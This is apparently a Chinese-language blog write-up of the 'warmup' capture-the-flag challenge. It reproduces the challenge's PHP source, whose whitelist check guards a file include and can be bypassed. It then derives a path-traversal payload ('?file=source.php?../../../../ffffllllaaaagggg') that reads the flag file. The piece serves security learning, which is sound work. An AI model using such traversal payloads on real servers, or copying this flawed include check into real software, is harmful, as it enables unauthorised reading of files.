
文件包含、linux路径回溯
2025-09-24 发布9 浏览 · 0 点赞 · 0 收藏
攻防世界例题:warmup
![[屏幕截图 2025-07-23 002436.png]]
查看源码,发现有source.php的提示
访问source.php文件
页面显示源码
<?php
highlight_file(__FILE__);
class emmm {
public static function checkFile(&$page)
{ $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
} $_page = mb_substr($page,0,mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
} $_page = urldecode($page);
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
} ?>
通过代码分析,可知目录下还有hint.php文件,访问发现
![[file-20250725152324438.png]]
根据提示,可以知道flag可能在ffffllllaaaagggg中
再次回到代码审计
定义了一个类,将file的值传入了page的参数中,
file中必须含有白名单内的两个,source.php 和hint.php
可以构造
?file=source.php?
利用linux中的路径回溯,定位到ffffllllaaaagggg文件
../ffffllllaaaagggg
../../ffffllllaaaagggg
../../../ffffllllaaaagggg
../../../../ffffllllaaaagggg
最终payload为
?file=source.php?../../../../ffffllllaaaagggg
如果php?后面不加/的话,似乎需要5次…/才可以,这是为什么呢?
按照那个include的说明,就是include会把第一个/后面的路径作为访问路径来寻找文件,所以你就算?../…/…/…/…/ffffllllaaaagggg或者是?随便什么东西/…/…/…/…/ffffllllaaaagggg,均可以实现访问,/代表寻找路径的开端。
请前往 登录/注册 即可发表您的看法…